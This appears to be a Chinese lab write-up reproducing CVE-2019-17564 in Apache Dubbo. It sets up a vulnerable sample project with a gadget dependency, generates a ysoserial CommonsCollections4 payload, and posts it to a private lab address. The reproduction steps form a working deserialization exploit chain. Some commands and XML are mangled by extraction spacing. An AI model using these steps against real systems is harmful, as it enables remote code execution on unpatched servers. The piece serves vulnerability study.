1.Dubbo框架简介
Dubbo 是⼀个⾼性能服务框架,致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案,使得应⽤可通过⾼性能RPC实现服务的输出和输⼊功能,和Spring框架可以⽆缝集成。 作为⼀个分布式服务框架,以及SOA治理⽅案,Dubbo其功能主要包括: 1.⾼性能NIO通讯及多协议集 2.成 服务动态寻址与路由 3.软负载均衡与容错 4.依赖分析与服务降级 具体看这篇⽂章: https://www.jianshu.com /p/0daf78e14dcf2.CVE-2019-17564
1.漏洞简介
Apache Dubbo⽀持多种协议,推荐官⽅使⽤Dubbo协议。Apache Dubbo HTTP协议中的⼀个反序
列化漏洞(CVE-2019-17564),漏洞该主要原因的在于当Apache Dubbo启⽤HTTP协议之后,Apache Dubbo对HTTP数据处理不当:对数据编码、序列化、反序列化,利⽤Spring HTTP Invoker框架处理,未经任何检查直接反序列化数据,当项⽬包中存在可⽤的gadgets时即可导致远程代码执⾏。
2.影响范围
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
3.环境搭建
dubbo-dem o: https://github.com /apache/dubbo-sam ples/tree/m aster/java/dubbo-sam ples-http ⽤idea打开后,需要修改 pom. x ml ⽂件中的 version>,将版本改为存在漏洞的2. 7. 3我们再往⾥⾯添加本地触发gadgets,这⾥导⼊commons-collections4-4.0恶意类依赖。
<dependency><groupId>org.apache.commonsgroupId><artifactId>commons-collections4artifactId> <version>4.0version>dependency>
由于dubbo启动还依赖zookeeper,因此我们还需要安装zookeeper
https://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.g
z
运⾏zookeeper之前,我们还需要修改⼀些配置⽂件:
将zookeeper的conf⽬录下的zoo_sam
ple.cfg⽂件改成zoo.cfg并修改其中的两个参数
然后 c d 到 z ook eeper 的 bi n ⽬录下 . / z k Ser v er . s h s t ar t 启动zookeeper 随后启动 dubbo 项⽬中的 HttpProvider 出现下图红框中的提⽰,则证明环境搭建成功。 4. 漏洞复现
我们⾸先⽤yso 来⽣成⼀个序列化的payload:
java-jarysoserial-0.0.6-SNAPSHOT-all.jarCommonsCollections4"deepin-calculator">/tmp/payload.ser
而后⽤postman往
http://192.168.199.246:8090/org.apache.dubbo.samples.http.api.DemoService
POST我们⽣成的
payload.ser